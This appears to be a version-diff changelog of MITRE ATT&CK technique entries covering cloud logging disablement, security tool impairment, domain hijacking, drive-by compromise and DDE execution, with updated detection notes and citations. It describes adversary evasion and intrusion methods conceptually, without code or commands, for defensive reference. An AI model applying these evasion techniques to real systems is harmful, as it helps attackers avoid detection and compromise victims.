| > | grations to limit what data is collected on their activities | > | grations to limit what data is collected on their activities | ||
| > | and avoid detection. Cloud environments allow for collect | > | and avoid detection. Cloud environments allow for collect | ||
| > | ion and analysis of audit and application logs that provide | > | ion and analysis of audit and application logs that provide | ||
| > | insight into what activities a user does within the environm | > | insight into what activities a user does within the environm | ||
| > | ent. If an attacker has sufficient permissions, they can dis | > | ent. If an adversary has sufficient permissions, they can di | ||
| > | able logging to avoid detection of their activities. For exa | > | sable logging to avoid detection of their activities. For ex | ||
| > | mple, in AWS an adversary may disable CloudWatch/CloudTrail | > | ample, in AWS an adversary may disable CloudWatch/CloudTrail | ||
| > | integrations prior to conducting further malicious activity. | > | integrations prior to conducting further malicious activity | ||
| > | (Citation: Following the CloudTrail: Generating strong AWS s | > | .(Citation: Following the CloudTrail: Generating strong AWS | ||
| > | ecurity signals with Sumo Logic) | > | security signals with Sumo Logic) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 16:31:34.489000+00:00 | 2022-03-08 21:55:27.505000+00:00 |
| description | An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an attacker has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) | An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) |
| x_mitre_contributors[4] | AttackIQ | Alex Soler, AttackIQ |
| x_mitre_data_sources[0] | AWS CloudTrail logs | Cloud Service: Cloud Service Disable |
| x_mitre_data_sources[1] | Azure activity logs | Cloud Service: Cloud Service Modification |
| x_mitre_platforms[0] | GCP | IaaS |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Syed Ummar Farooqh, McAfee | |
| x_mitre_contributors | Prasad Somasamudram, McAfee | |
| x_mitre_contributors | Sekhar Sarukkai, McAfee |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Sekhar Sarukkai; Prasad Somasamudram; Syed Ummar Farooqh (McAfee) | |
| x_mitre_data_sources | GCP audit logs | |
| x_mitre_platforms | Azure | |
| x_mitre_platforms | AWS |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may disable security tools to avoid possible det | t | 1 | Adversaries may modify and/or disable security tools to avoi |
| > | ection of their tools and activities. This can take the form | > | d possible detection of their malware/tools and activities. | ||
| > | of killing security software or event logging processes, de | > | This may take the many forms, such as killing security softw | ||
| > | leting Registry keys so that tools do not start at run time, | > | are processes or services, modifying / deleting Registry key | ||
| > | or other methods to interfere with security tools scanning | > | s or configuration files so that tools do not operate proper | ||
| > | or reporting information. | > | ly, or other methods to interfere with security tools scanni | ||
| > | ng or reporting information. Adversaries may also tamper wi | ||||
| > | th artifacts deployed and utilized by security tools. Securi | ||||
| > | ty tools may make dynamic changes to system components in or | ||||
| > | der to maintain visibility into specific events. For example | ||||
| > | , security products may load their own modules and/or modify | ||||
| > | those loaded by processes to facilitate data collection. Si | ||||
| > | milar to [Indicator Blocking](https://attack.mitre.org/techn | ||||
| > | iques/T1562/006), adversaries may unhook or otherwise modify | ||||
| > | these features added by tools (especially those that exist | ||||
| > | in userland or are otherwise potentially accessible to adver | ||||
| > | saries) to avoid detection.(Citation: OutFlank System Calls) | ||||
| > | (Citation: MDSec System Calls) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Gordon Long, Box, Inc., @ethicalhax', 'Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security', 'Nathaniel Quist, Palo Alto Networks', 'Gal Singer, @galsinger29, Team Nautilus Aqua Security'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 21:52:43.151000+00:00 | 2021-10-18 21:27:48.159000+00:00 |
| description | Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information. | Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) |
| x_mitre_data_sources[0] | Process command-line parameters | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Windows Registry | Service: Service Metadata |
| x_mitre_data_sources[2] | Services | Command: Command Execution |
| x_mitre_data_sources[3] | File monitoring | Process: Process Termination |
| x_mitre_detection | Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious. | Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity. Lack of expected log events may be suspicious. |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'OutFlank System Calls', 'description': 'de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.', 'url': 'https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/'} | |
| external_references | {'source_name': 'MDSec System Calls', 'description': 'MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.', 'url': 'https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/'} | |
| x_mitre_data_sources | Sensor Health: Host Status | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Deletion | |
| x_mitre_platforms | Containers | |
| x_mitre_platforms | IaaS |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may hijack domains | t | 1 | Adversaries may hijack domains and/or subdomains that can be |
| > | and/or subdomains that can be used during targeting. Domain | > | used during targeting. Domain registration hijacking is the | ||
| > | registration hijacking is the act of changing the registrat | > | act of changing the registration of a domain name without t | ||
| > | ion of a domain name without the permission of the original | > | he permission of the original registrant.(Citation: ICANNDom | ||
| > | registrant.(Citation: ICANNDomainNameHijacking) An adversary | > | ainNameHijacking) Adversaries may gain access to an email ac | ||
| > | may gain access to an email account for the person listed a | > | count for the person listed as the owner of the domain. The | ||
| > | s the owner of the domain. The adversary can then claim that | > | adversary can then claim that they forgot their password in | ||
| > | they forgot their password in order to make changes to the | > | order to make changes to the domain registration. Other poss | ||
| > | domain registration. Other possibilities include social engi | > | ibilities include social engineering a domain registration h | ||
| > | neering a domain registration help desk to gain access to an | > | elp desk to gain access to an account or taking advantage of | ||
| > | account or taking advantage of renewal process gaps. Subdo | > | renewal process gaps.(Citation: Krebs DNS Hijack 2019) Sub | ||
| > | main hijacking can occur when organizations have DNS entries | > | domain hijacking can occur when organizations have DNS entri | ||
| > | that point to non-existent or deprovisioned resources. In s | > | es that point to non-existent or deprovisioned resources. In | ||
| > | uch cases, an adversary may take control of a subdomain to c | > | such cases, an adversary may take control of a subdomain to | ||
| > | onduct operations with the benefit of the trust associated w | > | conduct operations with the benefit of the trust associated | ||
| > | ith that domain.(Citation: Microsoft Sub Takeover 2020) | > | with that domain.(Citation: Microsoft Sub Takeover 2020) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Jeremy Galloway'] | |
| x_mitre_data_sources | ['Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 01:28:56.664000+00:00 | 2022-04-20 14:10:48.814000+00:00 |
| description | Before compromising a victim, adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps. Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020) | Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019) Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020) |
| external_references[1]['source_name'] | ICANNDomainNameHijacking | Krebs DNS Hijack 2019 |
| external_references[1]['description'] | ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017. | Brian Krebs. (2019, February 18). A Deep Dive on the Recent Widespread DNS Hijacking Attacks. Retrieved February 14, 2022. |
| external_references[1]['url'] | https://www.icann.org/groups/ssac/documents/sac-007-en | https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/ |
| external_references[2]['source_name'] | Microsoft Sub Takeover 2020 | ICANNDomainNameHijacking |
| external_references[2]['description'] | Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020. | ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017. |
| external_references[2]['url'] | https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover | https://www.icann.org/groups/ssac/documents/sac-007-en |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Sub Takeover 2020', 'description': 'Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.', 'url': 'https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover'} |
Current version: 1.4
Version changed from: 1.2 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gain access to a system through a user visit | t | 1 | Adversaries may gain access to a system through a user visit |
| > | ing a website over the normal course of browsing. With this | > | ing a website over the normal course of browsing. With this | ||
| > | technique, the user's web browser is typically targeted for | > | technique, the user's web browser is typically targeted for | ||
| > | exploitation, but adversaries may also use compromised websi | > | exploitation, but adversaries may also use compromised websi | ||
| > | tes for non-exploitation behavior such as acquiring [Applica | > | tes for non-exploitation behavior such as acquiring [Applica | ||
| > | tion Access Token](https://attack.mitre.org/techniques/T1550 | > | tion Access Token](https://attack.mitre.org/techniques/T1550 | ||
| > | /001). Multiple ways of delivering exploit code to a browse | > | /001). Multiple ways of delivering exploit code to a browse | ||
| > | r exist, including: * A legitimate website is compromised w | > | r exist, including: * A legitimate website is compromised w | ||
| > | here adversaries have injected some form of malicious code s | > | here adversaries have injected some form of malicious code s | ||
| > | uch as JavaScript, iFrames, and cross-site scripting. * Mali | > | uch as JavaScript, iFrames, and cross-site scripting. * Mali | ||
| > | cious ads are paid for and served through legitimate ad prov | > | cious ads are paid for and served through legitimate ad prov | ||
| > | iders. * Built-in web application interfaces are leveraged f | > | iders. * Built-in web application interfaces are leveraged f | ||
| > | or the insertion of any other kind of object that can be use | > | or the insertion of any other kind of object that can be use | ||
| > | d to display web content or contain a script that executes o | > | d to display web content or contain a script that executes o | ||
| > | n the visiting client (e.g. forum posts, comments, and other | > | n the visiting client (e.g. forum posts, comments, and other | ||
| > | user controllable web content). Often the website used by | > | user controllable web content). Often the website used by | ||
| > | an adversary is one visited by a specific community, such as | > | an adversary is one visited by a specific community, such as | ||
| > | government, a particular industry, or region, where the goa | > | government, a particular industry, or region, where the goa | ||
| > | l is to compromise a specific user or set of users based on | > | l is to compromise a specific user or set of users based on | ||
| > | a shared interest. This kind of targeted attack is referred | > | a shared interest. This kind of targeted campaign is often r | ||
| > | to a strategic web compromise or watering hole attack. There | > | eferred to a strategic web compromise or watering hole attac | ||
| > | are several known examples of this occurring.(Citation: Sha | > | k. There are several known examples of this occurring.(Citat | ||
| > | dowserver Strategic Web Compromise) Typical drive-by compro | > | ion: Shadowserver Strategic Web Compromise) Typical drive-b | ||
| > | mise process: 1. A user visits a website that is used to ho | > | y compromise process: 1. A user visits a website that is us | ||
| > | st the adversary controlled content. 2. Scripts automaticall | > | ed to host the adversary controlled content. 2. Scripts auto | ||
| > | y execute, typically searching versions of the browser and p | > | matically execute, typically searching versions of the brows | ||
| > | lugins for a potentially vulnerable version. * The user | > | er and plugins for a potentially vulnerable version. * | ||
| > | may be required to assist in this process by enabling scrip | > | The user may be required to assist in this process by enabli | ||
| > | ting or active website components and ignoring warning dialo | > | ng scripting or active website components and ignoring warni | ||
| > | g boxes. 3. Upon finding a vulnerable version, exploit code | > | ng dialog boxes. 3. Upon finding a vulnerable version, explo | ||
| > | is delivered to the browser. 4. If exploitation is successfu | > | it code is delivered to the browser. 4. If exploitation is s | ||
| > | l, then it will give the adversary code execution on the use | > | uccessful, then it will give the adversary code execution on | ||
| > | r's system unless other protections are in place. * In s | > | the user's system unless other protections are in place. | ||
| > | ome cases a second visit to the website after the initial sc | > | * In some cases a second visit to the website after the in | ||
| > | an is required before exploit code is delivered. Unlike [Ex | > | itial scan is required before exploit code is delivered. Un | ||
| > | ploit Public-Facing Application](https://attack.mitre.org/te | > | like [Exploit Public-Facing Application](https://attack.mitr | ||
| > | chniques/T1190), the focus of this technique is to exploit s | > | e.org/techniques/T1190), the focus of this technique is to e | ||
| > | oftware on a client endpoint upon visiting a website. This w | > | xploit software on a client endpoint upon visiting a website | ||
| > | ill commonly give an adversary access to systems on the inte | > | . This will commonly give an adversary access to systems on | ||
| > | rnal network instead of external systems that may be in a DM | > | the internal network instead of external systems that may be | ||
| > | Z. Adversaries may also use compromised websites to deliver | > | in a DMZ. Adversaries may also use compromised websites to | ||
| > | a user to a malicious application designed to [Steal Applic | > | deliver a user to a malicious application designed to [Stea | ||
| > | ation Access Token](https://attack.mitre.org/techniques/T152 | > | l Application Access Token](https://attack.mitre.org/techniq | ||
| > | 8)s, like OAuth tokens, to gain access to protected applicat | > | ues/T1528)s, like OAuth tokens, to gain access to protected | ||
| > | ions and information. These malicious applications have been | > | applications and information. These malicious applications h | ||
| > | delivered through popups on legitimate websites.(Citation: | > | ave been delivered through popups on legitimate websites.(Ci | ||
| > | Volexity OceanLotus Nov 2017) | > | tation: Volexity OceanLotus Nov 2017) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 23:48:15.056000+00:00 | 2022-03-08 21:11:47.798000+00:00 |
| description | Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Multiple ways of delivering exploit code to a browser exist, including: * A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting. * Malicious ads are paid for and served through legitimate ad providers. * Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content). Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise) Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place. * In some cases a second visit to the website after the initial scan is required before exploit code is delivered. Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ. Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017) | Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Multiple ways of delivering exploit code to a browser exist, including: * A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting. * Malicious ads are paid for and served through legitimate ad providers. * Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content). Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise) Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place. * In some cases a second visit to the website after the initial scan is required before exploit code is delivered. Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ. Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017) |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Network device logs | Process: Process Creation |
| x_mitre_data_sources[2] | Process use of network | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Web proxy | File: File Creation |
| x_mitre_data_sources[4] | Network intrusion detection system | Application Log: Application Log Content |
| x_mitre_detection | Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. Network intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system. | Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system. |
| x_mitre_version | 1.2 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | SSL/TLS inspection |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use Windows Dynamic Data Exchange (DDE) to e | t | 1 | Adversaries may use Windows Dynamic Data Exchange (DDE) to e |
| > | xecute arbitrary commands. DDE is a client-server protocol f | > | xecute arbitrary commands. DDE is a client-server protocol f | ||
| > | or one-time and/or continuous inter-process communication (I | > | or one-time and/or continuous inter-process communication (I | ||
| > | PC) between applications. Once a link is established, applic | > | PC) between applications. Once a link is established, applic | ||
| > | ations can autonomously exchange transactions consisting of | > | ations can autonomously exchange transactions consisting of | ||
| > | strings, warm data links (notifications when a data item cha | > | strings, warm data links (notifications when a data item cha | ||
| > | nges), hot data links (duplications of changes to a data ite | > | nges), hot data links (duplications of changes to a data ite | ||
| > | m), and requests for command execution. Object Linking and | > | m), and requests for command execution. Object Linking and | ||
| > | Embedding (OLE), or the ability to link data between documen | > | Embedding (OLE), or the ability to link data between documen | ||
| > | ts, was originally implemented through DDE. Despite being su | > | ts, was originally implemented through DDE. Despite being su | ||
| > | perseded by [Component Object Model](https://attack.mitre.or | > | perseded by [Component Object Model](https://attack.mitre.or | ||
| > | g/techniques/T1559/001), DDE may be enabled in Windows 10 an | > | g/techniques/T1559/001), DDE may be enabled in Windows 10 an | ||
| > | d most of Microsoft Office 2016 via Registry keys. (Citation | > | d most of Microsoft Office 2016 via Registry keys.(Citation: | ||
| > | : BleepingComputer DDE Disabled in Word Dec 2017) (Citation: | > | BleepingComputer DDE Disabled in Word Dec 2017)(Citation: M | ||
| > | Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advi | > | icrosoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisor | ||
| > | sory Nov 2017) Microsoft Office documents can be poisoned w | > | y Nov 2017) Microsoft Office documents can be poisoned with | ||
| > | ith DDE commands (Citation: SensePost PS DDE May 2016) (Cita | > | DDE commands, directly or through embedded files, and used | ||
| > | tion: Kettle CSV DDE Aug 2014), directly or through embedded | > | to deliver execution via [Phishing](https://attack.mitre.org | ||
| > | files (Citation: Enigma Reviving DDE Jan 2018), and used to | > | /techniques/T1566) campaigns or hosted Web content, avoiding | ||
| > | deliver execution via [Phishing](https://attack.mitre.org/t | > | the use of Visual Basic for Applications (VBA) macros.(Cita | ||
| > | echniques/T1566) campaigns or hosted Web content, avoiding t | > | tion: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Au | ||
| > | he use of Visual Basic for Applications (VBA) macros. (Citat | > | g 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: Se | ||
| > | ion: SensePost MacroLess DDE Oct 2017) DDE could also be lev | > | nsePost MacroLess DDE Oct 2017) Similarly, adversaries may i | ||
| > | eraged by an adversary operating on a compromised machine wh | > | nfect payloads to execute applications and/or commands on a | ||
| > | o does not have direct access to a [Command and Scripting In | > | victim device by way of embedding DDE formulas within a CSV | ||
| > | terpreter](https://attack.mitre.org/techniques/T1059). | > | file intended to be opened through a Windows spreadsheet pro | ||
| > | gram.(Citation: OWASP CSV Injection)(Citation: CSV Excel Mac | ||||
| > | ro Injection ) DDE could also be leveraged by an adversary | ||||
| > | operating on a compromised machine who does not have direct | ||||
| > | access to a [Command and Scripting Interpreter](https://atta | ||||
| > | ck.mitre.org/techniques/T1059). DDE execution can be invoked | ||||
| > | remotely via [Remote Services](https://attack.mitre.org/tec | ||||
| > | hniques/T1021) such as [Distributed Component Object Model]( | ||||
| > | https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citat | ||||
| > | ion: Fireeye Hunting COM June 2019) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 19:32:56.572000+00:00 | 2022-02-22 13:22:30.191000+00:00 |
| description | Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017) Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). | Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017) Microsoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection ) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) |
| external_references[8]['source_name'] | NVisio Labs DDE Detection Oct 2017 | OWASP CSV Injection |
| external_references[8]['description'] | NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017. | Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February 7, 2022. |
| external_references[8]['url'] | https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/ | https://owasp.org/www-community/attacks/CSV_Injection |
| x_mitre_data_sources[0] | Process monitoring | Script: Script Execution |
| x_mitre_data_sources[1] | DLL monitoring | Module: Module Load |
| x_mitre_data_sources[2] | File monitoring | Process: Process Creation |
